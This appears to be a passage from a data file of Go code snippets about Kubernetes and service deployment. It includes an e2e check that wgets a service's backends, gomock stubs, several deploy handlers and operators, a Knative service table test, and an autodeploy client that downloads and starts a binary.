sbrName)\n\t\tif err != nil {\n\t\t\tt.Logf(\"Error on inspecting deployment: '%s'\", err)\n\t\t}\n\t\treturn err\n\t})\n\tt.Logf(\"Deployment: Result after attempts, error: '%#v'\", err)\n\trequire.NoError(t, err)\n}", "func verifyServeHostnameServiceUp(c *client.Client, ns, host string, expectedPods []string, serviceIP string, servicePort int) error {\n\texecPodName := createExecPodOrFail(c, ns, \"execpod-\")\n\tdefer func() {\n\t\tdeletePodOrFail(c, ns, execPodName)\n\t}()\n\n\t// Loop a bunch of times - the proxy is randomized, so we want a good\n\t// chance of hitting each backend at least once.\n\tbuildCommand := func(wget string) string {\n\t\treturn fmt.Sprintf(\"for i in $(seq 1 %d); do %s http://%s:%d 2>&1 || true; echo; done\",\n\t\t\t50*len(expectedPods), wget, serviceIP, servicePort)\n\t}\n\tcommands := []func() string{\n\t\t// verify service from node\n\t\tfunc() string {\n\t\t\tcmd := \"set -e; \" + buildCommand(\"wget -q --timeout=0.2 --tries=1 -O -\")\n\t\t\tframework.Logf(\"Executing cmd %q on host %v\", cmd, host)\n\t\t\tresult, err := framework.SSH(cmd, host, framework.TestContext.Provider)\n\t\t\tif err != nil || result.Code != 0 {\n\t\t\t\tframework.LogSSHResult(result)\n\t\t\t\tframework.Logf(\"error while SSH-ing to node: %v\", err)\n\t\t\t}\n\t\t\treturn result.Stdout\n\t\t},\n\t\t// verify service from pod\n\t\tfunc() string {\n\t\t\tcmd := buildCommand(\"wget -q -T 1 -O -\")\n\t\t\tframework.Logf(\"Executing cmd %q in pod %v/%v\", cmd, ns, execPodName)\n\t\t\t// TODO: Use exec-over-http via the netexec pod instead of kubectl exec.\n\t\t\toutput, err := framework.RunHostCmd(ns, execPodName, cmd)\n\t\t\tif err != nil {\n\t\t\t\tframework.Logf(\"error while kubectl execing %q in pod %v/%v: %v\\nOutput: %v\", cmd, ns, execPodName, err, output)\n\t\t\t}\n\t\t\treturn output\n\t\t},\n\t}\n\n\texpectedEndpoints := sets.NewString(expectedPods...)\n\tBy(fmt.Sprintf(\"verifying service has %d reachable backends\", len(expectedPods)))\n\tfor _, cmdFunc := range commands {\n\t\tpassed := false\n\t\tgotEndpoints := sets.NewString()\n\n\t\t// Retry cmdFunc for a while\n\t\tfor start := time.Now(); time.Since(start) < kubeProxyLagTimeout; time.Sleep(5 * time.Second) {\n\t\t\tfor _, endpoint := range strings.Split(cmdFunc(), \"\\n\") {\n\t\t\t\ttrimmedEp := strings.TrimSpace(endpoint)\n\t\t\t\tif trimmedEp != \"\" {\n\t\t\t\t\tgotEndpoints.Insert(trimmedEp)\n\t\t\t\t}\n\t\t\t}\n\t\t\t// TODO: simply checking that the retrieved endpoints is a superset\n\t\t\t// of the expected allows us to ignore intermitten network flakes that\n\t\t\t// result in output like \"wget timed out\", but these should be rare\n\t\t\t// and we need a better way to track how often it occurs.\n\t\t\tif gotEndpoints.IsSuperset(expectedEndpoints) {\n\t\t\t\tif !gotEndpoints.Equal(expectedEndpoints) {\n\t\t\t\t\tframework.Logf(\"Ignoring unexpected output wgetting endpoints of service %s: %v\", serviceIP, gotEndpoints.Difference(expectedEndpoints))\n\t\t\t\t}\n\t\t\t\tpassed = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tframework.Logf(\"Unable to reach the following endpoints of service %s: %v\", serviceIP, expectedEndpoints.Difference(gotEndpoints))\n\t\t}\n\t\tif !passed {\n\t\t\t// Sort the lists so they're easier to visually diff.\n\t\t\texp := expectedEndpoints.List()\n\t\t\tgot := gotEndpoints.List()\n\t\t\tsort.StringSlice(exp).Sort()\n\t\t\tsort.StringSlice(got).Sort()\n\t\t\treturn fmt.Errorf(\"service verification failed for: %s\\nexpected %v\\nreceived %v\", serviceIP, exp, got)\n\t\t}\n\t}\n\treturn nil\n}", "func (m *MockAPI) Install(arg0 context.Context, arg1 *models.Host, arg2 *gorm.DB) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Install\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (r *RuntimeServer) GetDeployInfo(ctx context.Context, re *pb.ServiceRequest) (*pb.DeployInfo, error) {\n\tvar deployinfo pb.DeployInfo\n\tappService := r.store.GetAppService(re.ServiceId)\n\tif appService != nil {\n\t\tdeployinfo.Namespace = appService.TenantID\n\t\tif appService.GetStatefulSet() != nil {\n\t\t\tdeployinfo.Statefuleset = appService.GetStatefulSet().Name\n\t\t\tdeployinfo.StartTime = appService.GetStatefulSet().ObjectMeta.CreationTimestamp.Format(time.RFC3339)\n\t\t}\n\t\tif appService.GetDeployment() != nil {\n\t\t\tdeployinfo.Deployment = appService.GetDeployment().Name\n\t\t\tdeployinfo.StartTime = appService.GetDeployment().ObjectMeta.CreationTimestamp.Format(time.RFC3339)\n\t\t}\n\t\tif services := appService.GetServices(false); services != nil {\n\t\t\tservice := make(map[string]string, len(services))\n\t\t\tfor _, s := range services {\n\t\t\t\tservice[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Services = service\n\t\t}\n\t\tif endpoints := appService.GetEndpoints(false); endpoints != nil &&\n\t\t\tappService.AppServiceBase.ServiceKind == model.ServiceKindThirdParty {\n\t\t\teps := make(map[string]string, len(endpoints))\n\t\t\tfor _, s := range endpoints {\n\t\t\t\teps[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Endpoints = eps\n\t\t}\n\t\tif secrets := appService.GetSecrets(false); secrets != nil {\n\t\t\tsecretsinfo := make(map[string]string, len(secrets))\n\t\t\tfor _, s := range secrets {\n\t\t\t\tsecretsinfo[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Secrets = secretsinfo\n\t\t}\n\t\tif ingresses := appService.GetIngress(false); ingresses != nil {\n\t\t\tingress := make(map[string]string, len(ingresses))\n\t\t\tfor _, s := range ingresses {\n\t\t\t\tingress[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Ingresses = ingress\n\t\t}\n\t\tif pods := appService.GetPods(false); pods != nil {\n\t\t\tpodNames := make(map[string]string, len(pods))\n\t\t\tfor _, s := range pods {\n\t\t\t\tpodNames[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Pods = podNames\n\t\t}\n\t\tif rss := appService.GetReplicaSets(); rss != nil {\n\t\t\trsnames := make(map[string]string, len(rss))\n\t\t\tfor _, s := range rss {\n\t\t\t\trsnames[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Replicatset = rsnames\n\t\t}\n\t\tdeployinfo.Status = appService.GetServiceStatus()\n\t}\n\treturn &deployinfo, nil\n}", "func (apiHandler *ApiHandler) handleDeploy(request *restful.Request, response *restful.Response) {\n\tappDeploymentSpec := new(AppDeploymentSpec)\n\tif err := request.ReadEntity(appDeploymentSpec); err != nil {\n\t\thandleInternalError(response, err)\n\t\treturn\n\t}\n\tif err := DeployApp(appDeploymentSpec, apiHandler.client); err != nil {\n\t\thandleInternalError(response, err)\n\t\treturn\n\t}\n\n\tresponse.WriteHeaderAndEntity(http.StatusCreated, appDeploymentSpec)\n}", "func (m *MockLiiklusServiceClient) Publish(arg0 context.Context, arg1 *liiklus.PublishRequest, arg2 ...grpc.CallOption) (*liiklus.PublishReply, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Publish\", varargs...)\n\tret0, _ := ret[0].(*liiklus.PublishReply)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (d *DeployManager) Deploy() (operationResult controllerutil.OperationResult, err error) {\n\n\tvar volumes []corev1.Volume\n\tvar volumeMounts []corev1.VolumeMount\n\tvar imagePullSecrets []corev1.LocalObjectReference\n\tvar depStrategy appsv1.DeploymentStrategy\n\tconfigParameter := \"\"\n\tappParameter := \"\"\n\tappsMap := make(map[string]string)\n\n\td.CreateLabels()\n\tcontainerPorts := d.Application.ContainerPorts\n\tif d.Image.Secret != \"\" {\n\t\tsecret := createLocalObjectReference(d.Image.Secret)\n\t\timagePullSecrets = append(imagePullSecrets, secret)\n\t}\n\n\tq := corev1.PersistentVolumeClaimSpec{}\n\tif d.Application.PersistenceEnabled {\n\t\tif !siddhiv1alpha2.EqualsPVCSpec(&d.SiddhiProcess.Spec.PVC, &q) {\n\t\t\tpvcName := d.Application.Name + PVCExtension\n\t\t\terr = d.KubeClient.CreateOrUpdatePVC(\n\t\t\t\tpvcName,\n\t\t\t\td.SiddhiProcess.Namespace,\n\t\t\t\td.SiddhiProcess.Spec.PVC,\n\t\t\t\td.SiddhiProcess,\n\t\t\t)\n\t\t\tif err != nil {\n\t\t\t\treturn operationResult, err\n\t\t\t}\n\t\t\tmountPath, err := populateMountPath(d.SiddhiProcess, d.Image.Home, d.Image.Profile)\n\t\t\tif err != nil {\n\t\t\t\treturn operationResult, err\n\t\t\t}\n\t\t\tvolume, volumeMount := createPVCVolumes(pvcName, mountPath)\n\t\t\tvolumes = append(volumes, volume)\n\t\t\tvolumeMounts = append(volumeMounts, volumeMount)\n\t\t}\n\t\tdeployYAMLCMName := d.Application.Name + DepCMExtension\n\t\tsiddhiConfig := StatePersistenceConf\n\t\tif d.SiddhiProcess.Spec.SiddhiConfig != \"\" {\n\t\t\tsiddhiConfig = d.SiddhiProcess.Spec.SiddhiConfig\n\t\t}\n\t\tdata := map[string]string{\n\t\t\tdeployYAMLCMName: siddhiConfig,\n\t\t}\n\t\terr = d.KubeClient.CreateOrUpdateCM(deployYAMLCMName, d.SiddhiProcess.Namespace, data, d.SiddhiProcess)\n\t\tif err != nil {\n\t\t\treturn operationResult, err\n\t\t}\n\t\tmountPath := d.Image.Home + DepConfMountPath\n\t\tvolume, volumeMount := createCMVolumes(deployYAMLCMName, mountPath)\n\t\tvolumes = append(volumes, volume)\n\t\tvolumeMounts = append(volumeMounts, volumeMount)\n\t\tconfigParameter = DepConfParameter + mountPath + deployYAMLCMName\n\t} else if d.SiddhiProcess.Spec.SiddhiConfig != \"\" {\n\t\tdeployYAMLCMName := d.SiddhiProcess.Name + DepCMExtension\n\t\tdata := map[string]string{\n\t\t\tdeployYAMLCMName: d.SiddhiProcess.Spec.SiddhiConfig,\n\t\t}\n\t\terr = d.KubeClient.CreateOrUpdateCM(deployYAMLCMName, d.SiddhiProcess.Namespace, data, d.SiddhiProcess)\n\t\tif err != nil {\n\t\t\treturn operationResult, err\n\t\t}\n\t\tmountPath := d.Image.Home + DepConfMountPath\n\t\tvolume, volumeMount := createCMVolumes(deployYAMLCMName, mountPath)\n\t\tvolumes = append(volumes, volume)\n\t\tvolumeMounts = append(volumeMounts, volumeMount)\n\t\tconfigParameter = DepConfParameter + mountPath + deployYAMLCMName\n\t}\n\n\tmaxUnavailable := intstr.IntOrString{\n\t\tType: artifact.Int,\n\t\tIntVal: MaxUnavailable,\n\t}\n\tmaxSurge := intstr.IntOrString{\n\t\tType: artifact.Int,\n\t\tIntVal: MaxSurge,\n\t}\n\trollingUpdate := appsv1.RollingUpdateDeployment{\n\t\tMaxUnavailable: &maxUnavailable,\n\t\tMaxSurge: &maxSurge,\n\t}\n\tdepStrategy = appsv1.DeploymentStrategy{\n\t\tType: appsv1.RollingUpdateDeploymentStrategyType,\n\t\tRollingUpdate: &rollingUpdate,\n\t}\n\n\tif len(d.Application.Apps) > 0 {\n\t\tappsCMName := d.Application.Name + strconv.Itoa(int(d.SiddhiProcess.Status.CurrentVersion))\n\t\tfor k, v := range d.Application.Apps {\n\t\t\tkey := k + SiddhiExtension\n\t\t\tappsMap[key] = v\n\t\t}\n\t\terr = d.KubeClient.CreateOrUpdateCM(appsCMName, d.SiddhiProcess.Namespace, appsMap, d.SiddhiProcess)\n\t\tif err != nil {\n\t\t\treturn operationResult, err\n\t\t}\n\t\tappsPath := d.Image.Home + SiddhiFilesDir\n\t\tvolume, volumeMount := createCMVolumes(appsCMName, appsPath)\n\t\tvolumes = append(volumes, volume)\n\t\tvolumeMounts = append(volumeMounts, volumeMount)\n\t\tappParameter = AppConfParameter + appsPath + \" \"\n\t} else {\n\t\tappParameter = ParserParameter\n\t}\n\n\tuserID := int64(802)\n\toperationResult, _ = d.KubeClient.CreateOrUpdateDeployment(\n\t\td.Application.Name,\n\t\td.SiddhiProcess.Namespace,\n\t\td.Application.Replicas,\n\t\td.Labels,\n\t\td.Image.Name,\n\t\tContainerName,\n\t\t[]string{Shell},\n\t\t[]string{\n\t\t\tfilepath.Join(d.Image.Home, SiddhiBin, (d.Image.Profile + \".sh\")),\n\t\t\tappParameter,\n\t\t\tconfigParameter,\n\t\t},\n\t\tcontainerPorts,\n\t\tvolumeMounts,\n\t\td.SiddhiProcess.Spec.Container.Env,\n\t\tcorev1.SecurityContext{RunAsUser: &userID},\n\t\tcorev1.PullAlways,\n\t\timagePullSecrets,\n\t\tvolumes,\n\t\tdepStrategy,\n\t\td.SiddhiProcess,\n\t)\n\treturn operationResult, err\n}", "func Deploy(cfg config.Configer) HandleFunc {\n\treturn func(ctx *cli.Context) (err error) {\n\t\tfuncFile := ctx.Args().First()\n\t\tname := ctx.String(\"name\")\n\t\tport := ctx.Int(\"port\")\n\t\tforce := ctx.Bool(\"force\")\n\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tlog.Fatalf(\"fatal error happened: %v\", r)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"deploy function %s (%s) failed: %v\", err)\n\t\t\t}\n\t\t\tlog.Infof(\"function %s (%s) deployed successfully\", name, funcFile)\n\t\t}()\n\n\t\tif port < PortRange.min || port > PortRange.max {\n\t\t\treturn fmt.Errorf(\"invalid port number: %d, port number should in range of %d - %d\", port, PortRange.min, PortRange.max)\n\t\t}\n\t\thosts, err := cfg.ListActiveMachines()\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"list active machines failed\")\n\t\t}\n\n\t\tif len(hosts) == 0 {\n\t\t\tlog.Warnf(\"no active machines\")\n\t\t\treturn nil\n\t\t}\n\n\t\t// try to stop service firt\n\t\tif force {\n\t\t\tfor n, host := range hosts {\n\t\t\t\tif err := api.MustCreate(host.Host, constants.AgentPort).\n\t\t\t\t\tStop(name); err != nil {\n\t\t\t\t\tlog.Infof(\"stop function %s on machine %s failed: %v\", name, n, err)\n\t\t\t\t} else {\n\t\t\t\t\tlog.Infof(\"stop function %s on machine %s: %v\", name, n, constants.CheckedSymbol)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tbody, err := ioutil.ReadFile(funcFile)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"read source failed\")\n\t\t}\n\t\tlang := utils.GetLangFromFileName(funcFile)\n\n\t\tworkdir, err := ioutil.TempDir(\"/tmp\", \"fx-wd\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := packer.PackIntoDir(lang, string(body), workdir); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tvar deployer deploy.Deployer\n\t\tif os.Getenv(\"KUBECONFIG\") != \"\" {\n\t\t\tdeployer, err = k8sDeployer.Create()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\tbctx := context.Background()\n\t\t\tdeployer, err = dockerDeployer.CreateClient(bctx)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\t// TODO multiple ports support\n\t\treturn deployer.Deploy(\n\t\t\tcontext.Background(),\n\t\t\tworkdir,\n\t\t\tname,\n\t\t\t[]int32{int32(port)},\n\t\t)\n\t}\n}", "func TestMakePublicService(t *testing.T) {\n\ttests := []struct {\n\t\tname string\n\t\tsks *v1alpha1.ServerlessService\n\t\twant *corev1.Service\n\t}{{\n\t\tname: \"HTTP - serve\",\n\t\tsks: &v1alpha1.ServerlessService{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"melon\",\n\t\t\t\tName: \"collie\",\n\t\t\t\tUID: \"1982\",\n\t\t\t\t// Those labels are propagated from the Revision->PA.\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\tserving.RevisionLabelKey: \"collie\",\n\t\t\t\t\tserving.RevisionUID: \"1982\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tSpec: v1alpha1.ServerlessServiceSpec{\n\t\t\t\tProtocolType: networking.ProtocolHTTP1,\n\t\t\t\tMode: v1alpha1.SKSOperationModeServe,\n\t\t\t},\n\t\t},\n\t\twant: &corev1.Service{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"melon\",\n\t\t\t\tName: \"collie\",\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t// Those should be propagated.\n\t\t\t\t\tserving.RevisionLabelKey: \"collie\",\n\t\t\t\t\tserving.RevisionUID: \"1982\",\n\t\t\t\t\tnetworking.SKSLabelKey: \"collie\",\n\t\t\t\t\tnetworking.ServiceTypeKey: \"Public\",\n\t\t\t\t},\n\t\t\t\tAnnotations: map[string]string{},\n\t\t\t\tOwnerReferences: []metav1.OwnerReference{{\n\t\t\t\t\tAPIVersion: v1alpha1.SchemeGroupVersion.String(),\n\t\t\t\t\tKind: \"ServerlessService\",\n\t\t\t\t\tName: \"collie\",\n\t\t\t\t\tUID: \"1982\",\n\t\t\t\t\tController: ptr.Bool(true),\n\t\t\t\t\tBlockOwnerDeletion: ptr.Bool(true),\n\t\t\t\t}},\n\t\t\t},\n\t\t\tSpec: corev1.ServiceSpec{\n\t\t\t\tPorts: []corev1.ServicePort{{\n\t\t\t\t\tName: networking.ServicePortNameHTTP1,\n\t\t\t\t\tProtocol: corev1.ProtocolTCP,\n\t\t\t\t\tPort: networking.ServiceHTTPPort,\n\t\t\t\t\tTargetPort: intstr.FromInt(networking.BackendHTTPPort),\n\t\t\t\t}},\n\t\t\t},\n\t\t},\n\t}, {\n\t\tname: \"HTTP - proxy\",\n\t\tsks: &v1alpha1.ServerlessService{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"melon\",\n\t\t\t\tName: \"collie\",\n\t\t\t\tUID: \"1982\",\n\t\t\t\t// Those labels are propagated from the Revision->PA.\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\tserving.RevisionLabelKey: \"collie\",\n\t\t\t\t\tserving.RevisionUID: \"1982\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tSpec: v1alpha1.ServerlessServiceSpec{\n\t\t\t\tMode: v1alpha1.SKSOperationModeProxy,\n\t\t\t\tProtocolType: networking.ProtocolHTTP1,\n\t\t\t},\n\t\t},\n\t\twant: &corev1.Service{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"melon\",\n\t\t\t\tName: \"collie\",\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t// Those should be propagated.\n\t\t\t\t\tserving.RevisionLabelKey: \"collie\",\n\t\t\t\t\tserving.RevisionUID: \"1982\",\n\t\t\t\t\tnetworking.SKSLabelKey: \"collie\",\n\t\t\t\t\tnetworking.ServiceTypeKey: \"Public\",\n\t\t\t\t},\n\t\t\t\tAnnotations: map[string]string{},\n\t\t\t\tOwnerReferences: []metav1.OwnerReference{{\n\t\t\t\t\tAPIVersion: v1alpha1.SchemeGroupVersion.String(),\n\t\t\t\t\tKind: \"ServerlessService\",\n\t\t\t\t\tName: \"collie\",\n\t\t\t\t\tUID: \"1982\",\n\t\t\t\t\tController: ptr.Bool(true),\n\t\t\t\t\tBlockOwnerDeletion: ptr.Bool(true),\n\t\t\t\t}},\n\t\t\t},\n\t\t\tSpec: corev1.ServiceSpec{\n\t\t\t\tPorts: []corev1.ServicePort{{\n\t\t\t\t\tName: networking.ServicePortNameHTTP1,\n\t\t\t\t\tProtocol: corev1.ProtocolTCP,\n\t\t\t\t\tPort: networking.ServiceHTTPPort,\n\t\t\t\t\tTargetPort: intstr.FromInt(networking.BackendHTTPPort),\n\t\t\t\t}},\n\t\t\t},\n\t\t},\n\t}, {\n\t\tname: \"HTTP2 - serve\",\n\t\tsks: &v1alpha1.ServerlessService{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"siamese\",\n\t\t\t\tName: \"dream\",\n\t\t\t\tUID: \"1988\",\n\t\t\t\t// Those labels are propagated from the Revision->PA.\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\tserving.RevisionLabelKey: \"dream\",\n\t\t\t\t\tserving.RevisionUID: \"1988\",\n\t\t\t\t},\n\t\t\t\tAnnotations: map[string]string{\n\t\t\t\t\t\"cherub\": \"rock\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tSpec: v1alpha1.ServerlessServiceSpec{\n\t\t\t\tProtocolType: networking.ProtocolH2C,\n\t\t\t\tMode: v1alpha1.SKSOperationModeServe,\n\t\t\t},\n\t\t},\n\t\twant: &corev1.Service{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"siamese\",\n\t\t\t\tName: \"dream\",\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t// Those should be propagated.\n\t\t\t\t\tserving.RevisionLabelKey: \"dream\",\n\t\t\t\t\tserving.RevisionUID: \"1988\",\n\t\t\t\t\tnetworking.SKSLabelKey: \"dream\",\n\t\t\t\t\tnetworking.ServiceTypeKey: \"Public\",\n\t\t\t\t},\n\t\t\t\tAnnotations: map[string]string{\n\t\t\t\t\t\"cherub\": \"rock\",\n\t\t\t\t},\n\t\t\t\tOwnerReferences: []metav1.OwnerReference{{\n\t\t\t\t\tAPIVersion: v1alpha1.SchemeGroupVersion.String(),\n\t\t\t\t\tKind: \"ServerlessService\",\n\t\t\t\t\tName: \"dream\",\n\t\t\t\t\tUID: \"1988\",\n\t\t\t\t\tController: ptr.Bool(true),\n\t\t\t\t\tBlockOwnerDeletion: ptr.Bool(true),\n\t\t\t\t}},\n\t\t\t},\n\t\t\tSpec: corev1.ServiceSpec{\n\t\t\t\tPorts: []corev1.ServicePort{{\n\t\t\t\t\tName: networking.ServicePortNameH2C,\n\t\t\t\t\tProtocol: corev1.ProtocolTCP,\n\t\t\t\t\tPort: networking.ServiceHTTP2Port,\n\t\t\t\t\tTargetPort: intstr.FromInt(networking.BackendHTTP2Port),\n\t\t\t\t}},\n\t\t\t},\n\t\t},\n\t}, {\n\t\tname: \"HTTP2 - serve - no backends\",\n\t\tsks: &v1alpha1.ServerlessService{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"siamese\",\n\t\t\t\tName: \"dream\",\n\t\t\t\tUID: \"1988\",\n\t\t\t\t// Those labels are propagated from the Revision->PA.\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\tserving.RevisionLabelKey: \"dream\",\n\t\t\t\t\tserving.RevisionUID: \"1988\",\n\t\t\t\t},\n\t\t\t\tAnnotations: map[string]string{\n\t\t\t\t\t\"cherub\": \"rock\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tSpec: v1alpha1.ServerlessServiceSpec{\n\t\t\t\tProtocolType: networking.ProtocolH2C,\n\t\t\t\tMode: v1alpha1.SKSOperationModeServe,\n\t\t\t},\n\t\t},\n\t\twant: &corev1.Service{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"siamese\",\n\t\t\t\tName: \"dream\",\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t// Those should be propagated.\n\t\t\t\t\tserving.RevisionLabelKey: \"dream\",\n\t\t\t\t\tserving.RevisionUID: \"1988\",\n\t\t\t\t\tnetworking.SKSLabelKey: \"dream\",\n\t\t\t\t\tnetworking.ServiceTypeKey: \"Public\",\n\t\t\t\t},\n\t\t\t\tAnnotations: map[string]string{\n\t\t\t\t\t\"cherub\": \"rock\",\n\t\t\t\t},\n\t\t\t\tOwnerReferences: []metav1.OwnerReference{{\n\t\t\t\t\tAPIVersion: v1alpha1.SchemeGroupVersion.String(),\n\t\t\t\t\tKind: \"ServerlessService\",\n\t\t\t\t\tName: \"dream\",\n\t\t\t\t\tUID: \"1988\",\n\t\t\t\t\tController: ptr.Bool(true),\n\t\t\t\t\tBlockOwnerDeletion: ptr.Bool(true),\n\t\t\t\t}},\n\t\t\t},\n\t\t\tSpec: corev1.ServiceSpec{\n\t\t\t\tPorts: []corev1.ServicePort{{\n\t\t\t\t\tName: networking.ServicePortNameH2C,\n\t\t\t\t\tProtocol: corev1.ProtocolTCP,\n\t\t\t\t\tPort: networking.ServiceHTTP2Port,\n\t\t\t\t\tTargetPort: intstr.FromInt(networking.BackendHTTP2Port),\n\t\t\t\t}},\n\t\t\t},\n\t\t},\n\t}, {\n\t\tname: \"HTTP2 - proxy\",\n\t\tsks: &v1alpha1.ServerlessService{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"siamese\",\n\t\t\t\tName: \"dream\",\n\t\t\t\tUID: \"1988\",\n\t\t\t\t// Those labels are propagated from the Revision->PA.\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\tserving.RevisionLabelKey: \"dream\",\n\t\t\t\t\tserving.RevisionUID: \"1988\",\n\t\t\t\t},\n\t\t\t\tAnnotations: map[string]string{\n\t\t\t\t\t\"cherub\": \"rock\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tSpec: v1alpha1.ServerlessServiceSpec{\n\t\t\t\tProtocolType: networking.ProtocolH2C,\n\t\t\t\tMode: v1alpha1.SKSOperationModeProxy,\n\t\t\t},\n\t\t},\n\t\twant: &corev1.Service{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tNamespace: \"siamese\",\n\t\t\t\tName: \"dream\",\n\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t// Those should be propagated.\n\t\t\t\t\tserving.RevisionLabelKey: \"dream\",\n\t\t\t\t\tserving.RevisionUID: \"1988\",\n\t\t\t\t\tnetworking.SKSLabelKey: \"dream\",\n\t\t\t\t\tnetworking.ServiceTypeKey: \"Public\",\n\t\t\t\t},\n\t\t\t\tAnnotations: map[string]string{\n\t\t\t\t\t\"cherub\": \"rock\",\n\t\t\t\t},\n\t\t\t\tOwnerReferences: []metav1.OwnerReference{{\n\t\t\t\t\tAPIVersion: v1alpha1.SchemeGroupVersion.String(),\n\t\t\t\t\tKind: \"ServerlessService\",\n\t\t\t\t\tName: \"dream\",\n\t\t\t\t\tUID: \"1988\",\n\t\t\t\t\tController: ptr.Bool(true),\n\t\t\t\t\tBlockOwnerDeletion: ptr.Bool(true),\n\t\t\t\t}},\n\t\t\t},\n\t\t\tSpec: corev1.ServiceSpec{\n\t\t\t\tPorts: []corev1.ServicePort{{\n\t\t\t\t\tName: networking.ServicePortNameH2C,\n\t\t\t\t\tProtocol: corev1.ProtocolTCP,\n\t\t\t\t\tPort: networking.ServiceHTTP2Port,\n\t\t\t\t\tTargetPort: intstr.FromInt(networking.BackendHTTP2Port),\n\t\t\t\t}},\n\t\t\t},\n\t\t},\n\t}}\n\n\tfor _, test := range tests {\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\tgot := MakePublicService(test.sks)\n\t\t\tif diff := cmp.Diff(test.want, got); diff != \"\" {\n\t\t\t\tt.Errorf(\"Public K8s Service mismatch (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}", "func Execute() {\n\t// redirect stderr to stdout (to capture panics)\n\tsyscall.Dup2(int(os.Stdout.Fd()), int(os.Stderr.Fd()))\n\n\t// we're speaking to the local server only ever\n\tserverAddr := fmt.Sprintf(\"localhost:%d\", *port)\n\tcreds := client.GetClientCreds()\n\tfmt.Printf(\"Connecting to local autodeploy server:%s...\\n\", serverAddr)\n\tconn, err := grpc.Dial(serverAddr, grpc.WithTransportCredentials(creds))\n\tif err != nil {\n\t\tfmt.Println(\"fail to dial: %v\", err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\tfmt.Println(\"Creating client...\")\n\tcl := pb.NewAutoDeployerClient(conn)\n\tctx := client.SetAuthToken()\n\n\t// the the server we're starting to deploy and get the parameters for deployment\n\tsr := pb.StartupRequest{Msgid: *msgid}\n\tsrp, err := cl.InternalStartup(ctx, &sr)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to startup: %s\\n\", err)\n\t\tos.Exit(10)\n\t}\n\tif srp.URL == \"\" {\n\t\tfmt.Printf(\"no download url in startup response\\n\")\n\t\tos.Exit(10)\n\t}\n\n\t// change to my working directory\n\terr = os.Chdir(srp.WorkingDir)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to Chdir() to %s: %s\\n\", srp.WorkingDir, err)\n\t}\n\tfmt.Printf(\"Chdir() to %s\\n\", srp.WorkingDir)\n\t// download the binary and/or archive\n\tbinary := \"executable\"\n\tif srp.Binary != \"\" {\n\t\tbinary = srp.Binary\n\t}\n\tfmt.Printf(\"Downloading binary from %s\\n\", srp.URL)\n\terr = DownloadBinary(srp.URL, binary, srp.DownloadUser, srp.DownloadPassword)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to download from %s: %s\\n\", srp.URL, err)\n\t\tos.Exit(10)\n\t}\n\n\t// execute the binary\n\tports := countPortCommands(srp.Args)\n\n\tfmt.Printf(\"Getting resources\\n\")\n\tresources, err := cl.AllocResources(ctx, &pb.ResourceRequest{Msgid: *msgid, Ports: int32(ports)})\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to alloc resources: %s\\n\", err)\n\t\tos.Exit(10)\n\t}\n\tfmt.Printf(\"Start commandline: %s %v (%d ports)\\n\", binary, srp.Args, ports)\n\trArgs := replacePorts(srp.Args, resources.Ports)\n\tfmt.Printf(\"Starting binary \\\"%s\\\" with 